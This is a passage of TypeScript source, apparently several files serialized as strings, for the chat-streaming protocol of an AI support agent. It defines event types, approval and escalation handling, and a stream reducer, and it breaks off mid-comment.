reading\n *  of an ambiguous question to answer. NOT a delta: the chunk carries the\n *  finished card, so consumers push it whole instead of coalescing. `text` is\n *  the intro sentence the same chunk rides along with; consumers render it as\n *  ordinary answer text BEFORE the card. NATS-only — the SSE frame grammar has\n *  no ask frame — but it lives in the shared union because the reducer is\n *  transport-agnostic. */\nexport interface AskEvent extends ChatStreamEventBase {\n  type: 'ask'\n  text?: string\n  question: string\n  options: AskOptionData[]\n}\n\nexport interface StatusEvent extends ChatStreamEventBase {\n  type: 'status'\n  phase: 'thinking'\n}\n\n/** NATS tool execution progress (EXECUTING_TOOL / EXECUTED_TOOL). */\nexport interface ToolExecutionEvent extends ChatStreamEventBase {\n  type: 'tool-execution'\n  data: {\n    type: 'EXECUTING_TOOL' | 'EXECUTED_TOOL'\n    integratedToolType: string\n    toolFunction: string\n    toolTitle?: string\n    /**\n     * Human-readable \"why this tool is running\" line, rendered as the body of\n     * the tool card. Carried by the EXECUTING chunk ONLY — the EXECUTED one\n     * never repeats it, and the accumulator's merge keeps whatever the\n     * EXECUTING segment held (`toolData.toolExplanation ?? existing`). Omitting\n     * it from this contract blanks the card for the whole run, live and on\n     * replay, which is exactly what happened while it was missing here.\n     */\n    toolExplanation?: string\n    parameters?: Record<string, unknown>\n    result?: string\n    success?: boolean\n    toolExecutionRequestId?: string\n  }\n}\n\n/** Single tool call inside a batch approval request (NATS). */\nexport interface ApprovalToolCall {\n  toolExecutionRequestId: string\n  toolName: string\n  toolTitle?: string\n  toolExplanation?: string\n  toolType?: string\n  requiresApproval: boolean\n  approvalType?: string | null\n  toolCallArguments?: Record<string, unknown> | null\n}\n\n/** A tool call awaits user approval. SSE fills `command`/`fields`\n *  (card-ready payload); NATS fills `command`/`explanation` or\n *  `toolCalls` (batch form). */\nexport interface ApprovalRequestEvent extends ChatStreamEventBase {\n  type: 'approval-request'\n  requestId: string\n  /** SSE: the write tool's name. NATS: approval tier (USER/ADMIN/…). */\n  approvalType?: string\n  command?: string\n  explanation?: string\n  fields?: ApprovalRequestField[]\n  toolCalls?: ApprovalToolCall[]\n  status?: 'pending'\n  /** Set when the card came from a Product Guide frame — see {@link GuideOrigin}. */\n  origin?: GuideOrigin\n}\n\n/**\n * Marks an event whose payload is a Product Guide frame, whatever transport\n * carried it. It exists because ONE stream can now mix both worlds: the agent\n * re-streams the hub's frames into a NATS dialog, so a card typed the hub's way\n * (`approvalType` = the tool name, resolved through the hub's confirm route)\n * travels beside cards typed the agent's way (`approvalType` = an approval TIER\n * routed to human escalation).\n *\n * Consumers read it to keep the guide half behaving exactly as it does in the\n * hub's own chat — NOT to give it special treatment. Without it the NATS kernel\n * would have to guess from `approvalType`, and every tool the hub adds would\n * silently fall into the escalation path.\n */\nexport type GuideOrigin = 'guide'\n\n/** The only value of {@link GuideOrigin}. Lives beside the type, and beside the\n *  predicate below, because both decoders and every consumer that branches on\n *  provenance must compare against the same token — a bare `'guide'` literal\n *  typo silently disables the branch instead of failing to compile. */\nexport const GUIDE_ORIGIN: GuideOrigin = 'guide'\n\n/** True for anything stamped as coming from the Product Guide — a stream event\n *  or the `data` of a segment built from one. */\nexport function isGuideOrigin(\n  source: { origin?: GuideOrigin | string } | null | undefined,\n): boolean {\n  return source?.origin === GUIDE_ORIGIN\n}\n\n/** An approval request was resolved (SSE `decision_resolved` frame /\n *  NATS APPROVAL_RESULT chunk). */\nexport interface ApprovalResolvedEvent extends ChatStreamEventBase {\n  type: 'approval-resolved'\n  requestId?: string\n  status: 'approved' | 'rejected'\n  ok?: boolean\n  toolName?: string\n  approvalType?: string\n  resolvedByName?: string | null\n  receiptText?: string\n  result?: DecisionResolvedFrame['result']\n  willAutoContinue?: boolean\n  /** Set when the resolution came from a Product Guide frame — see {@link GuideOrigin}. */\n  origin?: GuideOrigin\n}\n\n/** The client is offered a handoff of this ticket to a human technician\n *  (NATS `ESCALATION_OFFER` chunk in state PENDING). Distinct from\n *  `approval-request`: it resolves through the ticket-escalation mutations,\n *  never the tool-approval flow, and it is raised by four different origins\n *  (Fae's own tool call, the client's header button, a deterministic\n *  trigger, or a deferred surfacing at turn end) that all render alike. */\nexport interface EscalationOfferEvent extends ChatStreamEventBase {\n  type: 'escalation-offer'\n  offerId: string\n  text: string\n  origin?: string\n}\n\n/** Wire vocabulary of `EscalationOfferData.state`. */\nexport const ESCALATION_STATE = {\n  PENDING: 'PENDING',\n  APPROVED: 'APPROVED',\n  DECLINED: 'DECLINED',\n  SUPERSEDED: 'SUPERSEDED',\n} as const\n\n/** Terminal wire state → the shared `ChatApprovalStatus` vocabulary; `null`\n *  for PENDING or anything unrecognized. Shared by BOTH decoders (live\n *  chunks and persisted rows) so a state can never mean two things. */\nexport function escalationResolvedStatus(\n  state: unknown,\n): EscalationOfferResolvedEvent['status'] | null {\n  switch (state) {\n    case ESCALATION_STATE.APPROVED:\n      return 'approved'\n    case ESCALATION_STATE.DECLINED:\n      return 'rejected'\n    case ESCALATION_STATE.SUPERSEDED:\n      return 'cancelled'\n    default:\n      return null\n  }\n}\n\n/** An escalation offer reached a terminal state. The wire's SUPERSEDED\n *  (the client typed over a pending offer) maps onto `cancelled` so the\n *  whole stack keeps ONE status vocabulary (`ChatApprovalStatus`). The\n *  resolved chunk carries no text — consumers flip the existing block. */\nexport interface EscalationOfferResolvedEvent extends ChatStreamEventBase {\n  type: 'escalation-offer-resolved'\n  offerId: string\n  status: 'approved' | 'rejected' | 'cancelled'\n  resolvedByName?: string | null\n}\n\n/** The conversation was handed off to a human technician (`TICKET_ESCALATED`).\n *  A first-class block rather than something inferred from an offer's state,\n *  so paths that raise no offer at all — the inactivity auto-escalation — still\n *  produce a receipt. `text` is nullable on the wire; consumers supply the\n *  fallback copy. */\nexport interface TicketEscalatedEvent extends ChatStreamEventBase {\n  type: 'ticket-escalated'\n  ticketId: string\n  ticketNumber?: number\n  reason: string\n  text?: string\n}\n\n/** Ticket lifecycle receipt (`TICKET_EVENT`) — the ticket was resolved,\n *  reopened, etc. `kind` is an OPEN vocabulary (RESOLVED/REOPENED today):\n *  an unknown kind still decodes and renders as a neutral line rather than\n *  being dropped, so the backend can add kinds without a client release.\n *  Arrives standalone (outside MESSAGE_START/END), like `ticket-escalated`. */\nexport interface TicketEventEvent extends ChatStreamEventBase {\n  type: 'ticket-event'\n  kind: string\n  actorId?: string\n  actorName?: string\n  /** Who acted — e.g. an AI agent vs a human technician. Open string. */\n  actorType?: string\n  reason?: string\n  /** Kind-token the ticket reopened INTO (AI_ASSISTANCE / TECH_REQUIRED / ...). */\n  targetStatusKind?: string\n}\n\n/** Per-turn metadata. Raw wire values pass through UNVALIDATED — the\n *  consumer replicates the legacy truthiness/typeof gates (so a\n *  malformed frame degrades identically to the pre-SSOT parser). */\nexport interface ChatMetadataEvent extends ChatStreamEventBase {\n  type: 'metadata'\n  provider?: string | null\n  modelLabel?: string | null\n  /** Raw model id (SSE `meta.model`; NATS `modelName`). */\n  modelName?: string | null\n  contextWindowMaxTokens?: number | null\n  sources?: unknown\n  scrollAnchor?: unknown\n  /** Server-minted conversation id (`ChatMetadataFrame.conversationId`),\n   *  passed through raw like every other catch-all field — the consumer\n   *  applies the `typeof === 'string' && truthy` gate. */\n  conversationId?: string | null\n  routing?: {\n    routedComplexity: string\n    routedModel?: string\n    routedThinkingBudget: number | null\n  }\n  /**\n   * Set when the metadata came from a Product Guide frame — see\n   * {@link GuideOrigin}. Such an event carries ONLY `conversationId`: it exists\n   * to record the hub's conversation id (every confirm-tool call must quote it\n   * back), NOT to describe the dialog's model, which stays the agent's.\n   */\n  origin?: GuideOrigin\n}\n\n/** SSE usage frames — raw wire keys (snake_case) preserved. */\nexport interface UsageEvent extends ChatStreamEventBase {\n  type: 'usage'\n  stage: 'start' | 'end'\n  input_tokens?: number\n  output_tokens?: number\n  cache_read_input_tokens?: number\n  cache_creation_input_tokens?: number\n  hit_rate_pct?: number\n  telemetry?: UsageTelemetry\n  /** Left OPAQUE on purpose: the consumer (`chat-stream-reducer`'s\n   *  `applySseUsage`) re-validates every nested field with the legacy\n   *  truthiness/typeof gates, so a malformed frame degrades identically\n   *  to the pre-SSOT parser. Typing it would imply guarantees the wire\n   *  does not make. */\n  breakdown?: unknown\n  debug?: unknown\n}\n\n/** NATS TOKEN_USAGE chunk (camelCase backend shape). */\nexport interface TokenUsageEvent extends ChatStreamEventBase {\n  type: 'token-usage'\n  inputTokensSize: number\n  outputTokensSize: number\n  totalTokensSize: number\n  contextSize: number\n}\n\nexport interface CompactionEvent extends ChatStreamEventBase {\n  type: 'compaction'\n  phase: 'start' | 'end'\n  summary?: string\n}\n\nexport interface ErrorEvent extends ChatStreamEventBase {\n  type: 'error'\n  title: string\n  details?: string\n}\n\n/** Non-assistant message on the stream (NATS): the user's own message\n *  echo (`message-request`), an operator direct message, or a system\n *  line. */\n/**\n * Dialog participant owner type. The two members below are the ones clients\n * BRANCH ON (admin-vs-not decides echo dedup and author styling); the union\n * stays open (`string & {}`) because the wire may carry other roles that the\n * client treats as \"not admin\". Always compare against `CHAT_OWNER_ADMIN`,\n * never a bare `'ADMIN'` literal — a typo in a literal silently disables\n * dedup instead of failing to compile.\n */\nexport type ChatOwnerType = 'ADMIN' | 'CLIENT' | (string & {})\n\n/** Canonical ADMIN owner-type token (see `ChatOwnerType`). */\nexport const CHAT_OWNER_ADMIN = 'ADMIN'\n\nexport interface ParticipantEvent extends ChatStreamEventBase {\n  type: 'participant'\n  kind: 'message-request' | 'direct-message' | 'system'\n  text: string\n  ownerType?: ChatOwnerType\n  displayName?: string\n  userId?: string\n  contextItems?: Array<{ type: string; id: string; label: string }>\n}\n\nexport interface DialogClosedEvent extends ChatStreamEventBase {\n  type: 'dialog-closed'\n}\n\nexport type ChatStreamEvent =\n  | TurnStartEvent\n  | TurnEndEvent\n  | TextDeltaEvent\n  | ThinkingDeltaEvent\n  | GuideDeltaEvent\n  | AskEvent\n  | StatusEvent\n  | ToolExecutionEvent\n  | ApprovalRequestEvent\n  | ApprovalResolvedEvent\n  | EscalationOfferEvent\n  | EscalationOfferResolvedEvent\n  | TicketEscalatedEvent\n  | TicketEventEvent\n  | ChatMetadataEvent\n  | UsageEvent\n  | TokenUsageEvent\n  | CompactionEvent\n  | ErrorEvent\n  | ParticipantEvent\n  | DialogClosedEvent\n","/**\n * WHERE an approval card renders — the one rule, read by every path that turns\n * an approval into segments.\n *\n * There are three such paths and they must agree: the NATS kernel (live chunks),\n * the SSE kernel, and the history replay that rebuilds a dialog after a reload.\n * When the rule lived only in the live kernel, a Product Guide card rendered\n * inline while streaming and then moved into the escalation treatment on the\n * next page load — same card, two behaviors, and its buttons pointed at the\n * wrong backend once it moved.\n *\n * The rule itself: a card is gated on approval TIER (`displayApprovalTypes`,\n * the agent's own privilege model) UNLESS it came from the Product Guide, whose\n * proposals are typed by TOOL and are resolved through the hub's confirm route.\n * A hub proposal has no tier to gate on, so tier-gating one means escalating it\n * to a human who has no way to act on it.\n */\n\nimport type { GuideOrigin } from '../../../chat-protocol/events'\nimport { GUIDE_ORIGIN, isGuideOrigin } from '../../../chat-protocol/events'\nimport type { MessageSegment } from '../types/message.types'\n\n/** Anything carrying the optional `origin` marker: a stream event, or the\n *  `data` of a rendered segment. */\ninterface OriginBearing {\n  origin?: GuideOrigin | string\n}\n\n/** True when this approval was minted by the Product Guide (the hub) rather\n *  than by the agent's own tool-approval tiering. */\nexport function isGuideApproval(source: OriginBearing | null | undefined): boolean {\n  return isGuideOrigin(source)\n}\n\n/** The marker to stamp onto a built segment, or undefined for agent approvals.\n *  Keeps `origin` out of segment data unless it means something. */\nexport function guideApprovalOrigin(\n  source: OriginBearing | null | undefined,\n): GuideOrigin | undefined {\n  return isGuideApproval(source) ? GUIDE_ORIGIN : undefined\n}\n\n/**\n * Does this approval render inline in its turn (true), or take the consumer's\n * escalation treatment (false)?\n *\n * `displayApprovalTypes` undefined means \"no tier gate configured\" and every\n * agent approval displays — the pre-existing history-replay default, preserved\n * here so both kernels can share one predicate.\n */\nexport function approvalDisplaysInline(\n  source: OriginBearing | null | undefined,\n  approvalType: string,\n  displayApprovalTypes?: readonly string[],\n): boolean {\n  if (isGuideApproval(source)) return true\n  return !displayApprovalTypes || displayApprovalTypes.includes(approvalType)\n}\n\n/**\n * True for a rendered segment that holds a Product Guide card (single or batch).\n *\n * Consumers use it to keep such a card in the message flow, where the hub's own\n * chat puts it, instead of lifting it into their sticky pending-approvals\n * footer — and to route its buttons to the hub rather than to the agent.\n */\nexport function isGuideApprovalSegment(segment: MessageSegment): boolean {\n  if (segment.type !== 'approval_request' && segment.type !== 'approval_batch') return false\n  return isGuideApproval(segment.data)\n}\n","/**\n * createChatStreamReducer — THE master chat-stream reader (Phase 3 of the\n * chat unification). One accumulation path for every event source:\n *\n *   SSE bytes  → createSseFrameDecoder ─┐\n *   NATS chunk → decodeNatsChunk       ─┼→ ChatStreamEvent → reducer.apply()\n *   history    → decodeHistoricalMessageData (per-item vocabulary) →\n *                envelope grouping → reducer.initializeWithState()\n *\n * The reducer absorbs, verbatim, the semantics that used to be spread over\n * three layers:\n *   - `MessageSegmentAccumulator` stays as the internal per-turn segment\n *     kernel (instantiated here — its goldens remain valid);\n *   - the deleted `useRealtimeChunkProcessor`'s switch (in-stream vs post-END\n *     routing, agent-busy outside a message window, escalated approvals,\n *     compaction upsert, direct-mode barrier) — surfaced as\n *     `ChatReducerEffect`s for consumers that want the callback contract;\n *   - `useNatsChatAdapter`'s message-mutation callbacks (trailing-assistant\n *     replace/append, compaction upsert, cross-message tool merge, approval\n *     flip, participant dedup) — now the reducer's own state transitions via\n *     `./message-mutations`;\n *   - `useSseChatAdapter`/`useChat`'s SSE turn kernel (cumulative text\n *     replace, front-inserted thinking, approval card, `decision_resolved`\n *     receipt, sendIdx-keyed sources/meta maps).\n *\n * Idempotency:\n *   - events whose `seq` ≤ the last applied seq are dropped (per instance);\n *   - participant rows additionally dedup via a one-shot optimistic-echo\n *     list and a short same-author content window (seq-less transports);\n *   - value-level no-op merges return prior references (see\n *     `message-mutations.ts`).\n *\n * TRANSPORT ORDERING ASSUMPTION (the seq gate, see `apply()`): every\n * transport feeding this reducer is AT-LEAST-ONCE and IN-ORDER. JetStream\n * redelivers (hence the gate) but never reorders within a stream, and the\n * catchup back-fill replays a monotonically increasing range. So `seq <=\n * lastAppliedSeq` means \"already applied\", and dropping is correct.\n * A genuinely out-of-order arrival (seq 5 then 4) would be discarded\n * PERMANENTLY — accepted deliberately: no transport here reorders, and an\n * out-of-order buffer would add latency + unbounded state to guard against\n * a case that cannot occur. If a reordering transport is ever added, this\n * gate is the place that must change (do not paper over it downstream).\n *\n * `resolvePendingApprovalForExecution` (the accumulator's implicit\n * approve-on-execution) is reachable ONLY on `transport: 'nats'` — the SSE\n * kernel never routes tool executions through the accumulator.\n *\n * PURE + framework-free: no React, no timers, no network. Side effects the\n * UI needs (approve/reject POSTs) enter as opaque callbacks stamped onto\n * approval segments.\n */\n\nimport {\n  MessageSegmentAccumulator,\n  createMessageSegmentAccumulator,\n  type AccumulatorCallbacks,\n} from '../utils/message-segment-accumulator'\nimport { getCommandText } from '../utils/tool-call-helpers'\nimport { parseScrollAnchor, type ScrollAnchor } from '../utils/scroll-anchor'\nimport { escapeThinkingTags } from '../../../chat-protocol/decode'\nimport { isGuideOrigin } from '../../../chat-protocol/events'\nimport { approvalDisplaysInline, guideApprovalOrigin } from '../utils/approval-display'\nimport type {\n  ApprovalBatchSegment,\n  ApprovalRequestSegment,\n  ChatApprovalStatus,\n  MessageSegment,\n  PendingToolCallData,\n  SegmentsUpdateMetadata,\n  ToolExecutionSegment,\n  ExecutingToolState,\n} from '../types'\nimport type { PendingApproval } from '../types/processing.types'\nimport type {\n  DialogTokenUsage,\n  StreamingPhase,\n  UnifiedChatMessage,\n  UnifiedUsageBreakdown,\n} from '../types/unified-chat-state.types'\nimport {\n  CHAT_OWNER_ADMIN,\n  type ChatStreamEvent,\n  type ApprovalResolvedEvent,\n  type ChatMetadataEvent,\n  type ParticipantEvent,\n  type UsageEvent,\n} from '../../../chat-protocol/events'\nimport {\n  CONTENT_DEDUP_WINDOW,\n  SYSTEM_DEDUP_WINDOW,\n  appendToTrailingAssistant,\n  applyToolExecutionToMessages,\n  hasRecentMessage,\n  mergeToolExecutionIfPresent,\n  nextId,\n  projectApprovalResolutionToMessages,\n  projectBatchRowFailureToMessages,\n  projectBatchStatusToMessages,\n  updateTrailingAssistant,\n  upsertTrailingCompaction,\n} from './message-mutations'\n\n// =============================================================================\n// Public types\n// =============================================================================\n\n/** Per-turn metadata extracted from the streamed metadata/usage frames\n *  (SSE transport). Canonical home — `use-sse-chat-adapter` re-exports it. */\nexport interface ChatTurnMeta {\n  provider: string | null\n  modelLabel: string | null\n  contextWindowMaxTokens: number | null\n  /** Input tokens (from usage:start). Includes cached tokens. */\n  inputTokens: number | null\n  /** Output tokens (from the trailing usage frame). */\n  outputTokens: number | null\n  /** Cache hit % (read / total-input × 100). Only known after stream end. */\n  cacheHitRatePct: number | null\n  /** Cross-call usage breakdown extracted from the trailing usage frame. */\n  breakdown: UnifiedUsageBreakdown | null\n  /** Per-message viewport-positioning hint. */\n  scrollAnchor: ScrollAnchor | null\n  routedComplexity: string | null\n  routedThinkingBudget: number | null\n}\n\n/** Single source of truth for a fresh `ChatTurnMeta` row. */\nexport function createEmptyTurnMeta(): ChatTurnMeta {\n  return {\n    provider: null,\n    modelLabel: null,\n    contextWindowMaxTokens: null,\n    inputTokens: null,\n    outputTokens: null,\n    cacheHitRatePct: null,\n    breakdown: null,\n    scrollAnchor: null,\n    routedComplexity: null,\n    routedThinkingBudget: null,\n  }\n}\n\n/** SSE per-send maps, keyed by the send counter (`sendIdx`). Each user send\n *  produces ONE server-side sources entry but can fan out to MULTIPLE\n *  assistant messages client-side — the adapter maps every following\n *  assistant message back to its send's entry. */\nexport interface ChatTurnMetaState {\n  meta: Map<number, ChatTurnMeta>\n  sources: Map<number, unknown[]>\n  sendCount: number\n}\n\nexport interface ChatReducerState {\n  messages: UnifiedChatMessage[]\n  streamingPhase: StreamingPhase\n  turnMeta: ChatTurnMetaState\n  dialogTokenUsage?: DialogTokenUsage | null\n  liveModel?: {\n    provider: string | null\n    modelLabel: string | null\n    contextWindowMaxTokens: number | null\n  } | null\n  approvalStatuses: Record<string, ChatApprovalStatus>\n  /**\n   * Hub conversation id for the Product Guide half of this dialog, learned from\n   * a guide metadata frame. The hub mints it and requires it back on every\n   * confirm-tool call, so a host resolving a guide approval card reads it from\n   * here. Null until a guide turn has streamed — an approval that arrives from\n   * history (after a reload) has no live frame to learn it from, which is why\n   * the agent should also expose it per dialog.\n   */\n  guideConversationId: string | null\n}\n\n/** Escalated-approval bookkeeping entry (mirrors the legacy processor). */\nexport interface EscalatedApprovalData {\n  command: string\n  explanation?: string\n  approvalType: string\n  toolCalls?: PendingToolCallData[]\n}\n\n/**\n * Callback-visible effect produced by `apply()`. Names + args mirror the\n * legacy `RealtimeChunkCallbacks` contract 1:1 — the contract the deleted\n * `useRealtimeChunkProcessor` wrapper exposed, now pinned directly by\n * `__tests__/chat-stream-reducer-golden.test.ts`.\n *\n * `segments-after-approval-result` is the one conditional emission: the\n * legacy processor emitted a cumulative `onSegmentsUpdate` for a\n * non-escalated APPROVAL_RESULT only when the consumer had NOT wired\n * `onApprovalResolved` — the effect sink resolves that at dispatch time.\n */\nexport interface ChatReducerEffect {\n  name:\n    | 'onStreamStart'\n    | 'onStreamEnd'\n    | 'onMetadata'\n    | 'onSegmentsUpdate'\n    | 'onError'\n    | 'onUserMessage'\n    | 'onTokenUsage'\n    | 'onDirectMessage'\n    | 'onSystemMessage'\n    | 'onEscalatedApproval'\n    | 'onEscalatedApprovalResult'\n    | 'onApprovalResolved'\n    | 'onEscalationOfferResolved'\n    | 'onToolExecuted'\n    | 'onAgentBusy'\n    | 'onDialogClosed'\n    | 'onTicketEvent'\n    | 'segments-after-approval-result'\n  args: unknown[]\n}\n\nexport interface ChatStreamReducerOptions {\n  /** Which transport's turn kernel drives `apply()`. Default `'nats'`. */\n  transport?: 'sse' | 'nats'\n  /** Seed for the approval-status map (request-id → status). */\n  approvalStatuses?: Record<string, ChatApprovalStatus>\n  /** Batch APPROVAL_REQUESTs render as one card (default true) or unfold. */\n  batchApprovalsEnabled?: boolean\n  /** Approval types displayed inline; others escalate. Default ['CLIENT']. */\n  displayApprovalTypes?: string[]\n  /** Opaque approve/reject handlers stamped onto approval segments. */\n  callbacks?: AccumulatorCallbacks\n  /** Engage the direct-mode barrier optimistically (host-known takeover). */\n  isDirectMode?: boolean\n  /**\n   * Legacy-processor parity knob: post-MESSAGE_END tool chunks route\n   * cross-message (`onToolExecuted` effect + `applyToolExecutionToMessages`)\n   * only when the consumer wired the cross-message updater; otherwise they\n   * fall through the accumulator like the pre-callback code path. Default\n   * true (both first-party adapters wire it).\n   */\n  crossMessageToolRouting?: boolean\n  /** Effect sink for callback-contract consumers (compat wrapper). */\n  onEffect?: (effect: ChatReducerEffect) => void\n  /** Notified after every state mutation (the dialog store wires this). */\n  onChange?: () => void\n  /**\n   * Whether an ADMIN-authored `MESSAGE_REQUEST` may be consumed as OUR OWN\n   * optimistic echo (see `pushOptimisticSend`). Default `false`.\n   *\n   * Who the local operator is decides this, and it differs per host:\n   *  - Hub website chat / ticket CLIENT side: the local user is NEVER the\n   *    admin, so an ADMIN-authored inbound row is a technician's reply and\n   *    must ALWAYS render. Consuming it as an echo would silently delete a\n   *    real message whenever its text happened to match ours. → `false`.\n   *  - OpenFrame product app (Mingo + ticket ADMIN side): the operator IS\n   *    the admin, so their own sends echo back as ADMIN and MUST be\n   *    deduped, or every message renders twice. → `true`.\n   *\n   * Only ever applies to text the host itself registered via\n   * `pushOptimisticSend`, so enabling it cannot drop a message the host\n   * did not just send.\n   */\n  ownEchoIncludesAdmin?: boolean\n  /**\n   * The LOCAL user's id, either as a value or as a GETTER resolved at event\n   * time. When it resolves to a value, an inbound `MESSAGE_REQUEST` that\n   * DECLARES a different author (`event.userId !== selfUserId`) may not be\n   * consumed as our own optimistic echo.\n   *\n   * Without it the echo list matches on RAW TEXT alone, which on a shared\n   * ADMIN side (two technicians in one ticket, `ownEchoIncludesAdmin: true`)\n   * can silently delete a colleague's message: if OUR send never echoes back,\n   * its entry stays armed and the next identical text from anyone — canned\n   * replies like \"ok\" / \"done\" / \"on it\" make this routine — is swallowed.\n   *\n   * The guard FAILS OPEN, deliberately: a row that carries NO `userId` is not\n   * \"someone else's\", it is UNATTRIBUTED, and rejecting it would disable\n   * dedup entirely (→ every send rendered twice) on any transport whose\n   * decoder does not surface the author id. Such a row falls back to the\n   * text + `OWN_ECHO_TTL_MS` behaviour instead, and a one-shot `console.warn`\n   * makes the missing id observable.\n   *\n   * Pass a FUNCTION whenever the id can change or arrive late (auth\n   * rehydration, logout / login-as-another-user without a reload): reducers\n   * are retained for the store's lifetime, so a value captured at creation\n   * time can go stale and silently disable the guard.\n   */\n  selfUserId?: string | (() => string | undefined)\n}\n\n/**\n * How long an un-consumed optimistic-echo entry stays armed **on the\n * UNATTRIBUTED path**. Long enough to cover any realistic send → server-echo\n * round trip, short enough that a send whose echo never lands cannot swallow\n * an unrelated identical message later in the conversation.\n *\n * A row that is DECLARED ours (`selfUserId` set and `event.userId ===\n * selfUserId`) gets the LONGER `OWN_ECHO_AUTHOR_TTL_MS` instead — see there.\n */\nexport const OWN_ECHO_TTL_MS = 30_000\n\n/**\n * How long an un-consumed entry stays armed on the AUTHOR-MATCHED path\n * (`selfUserId` set, inbound row declares the same author).\n *\n * The author check rules out CROSS-technician theft, but NOT the same user on\n * a second tab or device: a row THIS tab did not originate looks exactly like\n * an author-matched echo. So the entry still needs an upper bound — without\n * one, a send whose echo never lands (dropped frame, backend text\n * normalization, reconnect gap) leaves the entry armed for the reducer's\n * whole lifetime, and the next identical text from the same user on ANOTHER\n * tab is silently swallowed. With `MAX_PENDING_ECHOES` armed slots and canned\n * replies (\"ok\", \"done\", \"on it\") being exactly the recurring strings, that is\n * a routine message-LOSS bug, strictly worse than the duplicate row it trades\n * against.\n *\n * Ten minutes is the bound: generously longer than the slow echo the author\n * path exists to protect (a JetStream catch-up replay after a network gap\n * arrives long after the send, and its rows carry `seq`, so the seq-less\n * content-dedup fallback cannot rescue it), and far shorter than the\n * \"same text again an hour later\" window in which a stale entry does damage.\n *\n * It is a BACKSTOP, not the usual bound: `turn-end` disarms entries much\n * sooner (see `purgeEchoesAtTurnEnd`). The ten minutes only ever apply to a\n * dialog that never reports a turn boundary at all.\n */\nexport const OWN_ECHO_AUTHOR_TTL_MS = 10 * 60_000\n\n/** Cap on simultaneously-armed echo entries (a backend that never echoes must\n *  not grow the list without bound). */\nconst MAX_PENDING_ECHOES = 5\n\n/** One armed optimistic-echo entry: the sent text and the wall-clock ms it was\n *  armed at. Exported because the LRU-eviction round trip PARKS these (see\n *  `getPendingEchoes` / `InitializeExtras.pendingEchoes`). */\nexport interface PendingEcho {\n  text: string\n  at: number\n}\n\nexport interface InitializeExtras {\n  existingSegments?: MessageSegment[]\n  pendingApprovals?: Map<string, PendingApproval>\n  executingTools?: Map<string, ExecutingToolState>\n  escalatedApprovals?: Map<string, EscalatedApprovalData>\n  /**\n   * Approval statuses PARKED from a previous instance of this key (LRU\n   * eviction hands them to `onEvict`). Merged with the same state-monotonic\n   * precedence as `mergeApprovalStatuses` — a resolved approval must not come\n   * back as actionable, which is exactly why `resetForDialogSwitch` preserves\n   * this map rather than clearing it.\n   */\n  approvalStatuses?: Record<string, ChatApprovalStatus>\n  /**\n   * Seq cursor PARKED from a previous instance of this key. A recreated\n   * reducer starts at `-Infinity`, so a host that replays from its own cursor\n   * would re-apply already-applied events; restoring the parked value keeps\n   * `apply()`'s idempotency gate intact across an eviction. Only ever moves\n   * the gate FORWARD (a lower value is ignored).\n   */\n  lastAppliedSeq?: number\n  /**\n   * Armed optimistic-echo entries PARKED from a previous instance of this key.\n   * Without them, a key LRU-evicted between `pushOptimisticSend` and its\n   * `MESSAGE_REQUEST` echo leaves the replacement reducer with nothing armed,\n   * so the echo renders a DUPLICATE user bubble. Entries already past\n   * `OWN_ECHO_AUTHOR_TTL_MS` are dropped on restore (an expired entry could\n   * only swallow an unrelated identical message), and the list is capped at\n   * `MAX_PENDING_ECHOES` exactly as the live path is.\n   */\n  pendingEchoes?: readonly PendingEcho[]\n  /**\n   * Whether the restored thread is a RESUMED dialog (a `MESSAGE_START` already\n   * fired server-side), which makes post-stream continuation chunks append\n   * into the existing bubble instead of taking the cold-start cumulative path.\n   * Defaults to \"the restored thread is non-empty\" — an eviction restore of a\n   * key that never streamed must NOT claim it did, or a cold text-delta with\n   * no preceding `turn-start` appends into a bubble that was never spawned.\n   * Pass explicitly only to override that derivation.\n   */\n  resumed?: boolean\n  /**\n   * Whether the restored tail means the AGENT IS STILL WORKING — as opposed to\n   * blocked on the user. Raises an `idle` reducer to `thinking` on restore\n   * (same rule as a live `onAgentBusy`: an open stream keeps the phase), which\n   * is what puts the activity indicator back.\n   *\n   * Nothing on the wire restores this: the phase machine is driven by events,\n   * and a run's EXECUTING chunk is long past by the time a reload happens while\n   * its EXECUTED one may be minutes away. Derived once by\n   * `extractIncompleteMessageState` so every host agrees on the distinction —\n   * a PENDING approval is the opposite state and must NOT spin.\n   */\n  agentBusy?: boolean\n}\n\nexport interface BeginSseSendOptions {\n  text: string\n  hidden?: boolean\n  userName?: string\n  assistantName?: string\n  assistantAvatar?: string\n}\n\n// =============================================================================\n// Reducer\n// =============================================================================\n\nexport interface ChatStreamReducer {\n  /** Apply one normalized stream event. */\n  apply(event: ChatStreamEvent): void\n  /** Current immutable state snapshot (stable identity between mutations). */\n  readonly state: ChatReducerState\n  /** Full reset — thread, per-turn kernel, dedup sets, seq gate, maps. */\n  reset(): void\n  /**\n   * Seed the thread (history hydration / persisted-state rehydration) and\n   * optionally the per-turn kernel + escalated approvals (resume of an\n   * incomplete turn). `messages: null` keeps the current thread. Escalated\n   * entries are re-surfaced via `onEscalatedApproval` effects. Marks the\n   * instance as having streamed so continuation chunks append.\n   */\n  initializeWithState(messages: UnifiedChatMessage[] | null, extras?: InitializeExtras): void\n\n  // ── Thread commands (adapter-driven, not wire events) ──────────────────\n  setMessages(messages: UnifiedChatMessage[]): void\n  prependMessages(messages: UnifiedChatMessage[]): void\n  /** Optimistic local send: user bubble (+ echo record) + assistant placeholder. */\n  pushOptimisticSend(text: string, hidden?: boolean): void\n  /** Wipe thread + per-turn kernel, keep approval statuses (legacy clear). */\n  clearThread(): void\n  /** Per-dialog reset (keeps approval statuses — request-ids are global). */\n  resetForDialogSwitch(): void\n\n  // ── SSE turn commands ───────────────────────────────────────────────────\n  beginSseSend(options: BeginSseSendOptions): void\n  endSseTurn(): void\n  failSseTurn(errorMessage: string): void\n  seedSseMaps(seed: {\n    sources?: Array<[number, unknown[]]>\n    sendCount?: number\n  }): void\n\n  // ── Phase / status commands ─────────────────────────────────────────────\n  setPhase(phase: StreamingPhase): void\n  setApprovalStatus(requestId: string, status: ChatApprovalStatus | null): void\n  /**\n   * CANONICAL merge of a PERSISTED status map (host-side store, history\n   * hydration, dialog-switch top-up) into this reducer's map.\n   *\n   * Precedence is STATE-MONOTONIC, not source-based, because either side can\n   * be the stale one:\n   *  - persisted lags (a snapshot taken before the stream resolved the\n   *    request) → the stream's resolved status must win, or a just-approved\n   *    card would be downgraded back to `pending` and re-arm its buttons;\n   *  - the STREAM lags (this tab saw the request, the operator resolved it in\n   *    a SECOND TAB, and the persisted map is the one carrying the truth) →\n   *    the persisted resolution must win, or the card stays actionable and\n   *    invites a second approve on an already-resolved request.\n   *\n   * With statuses 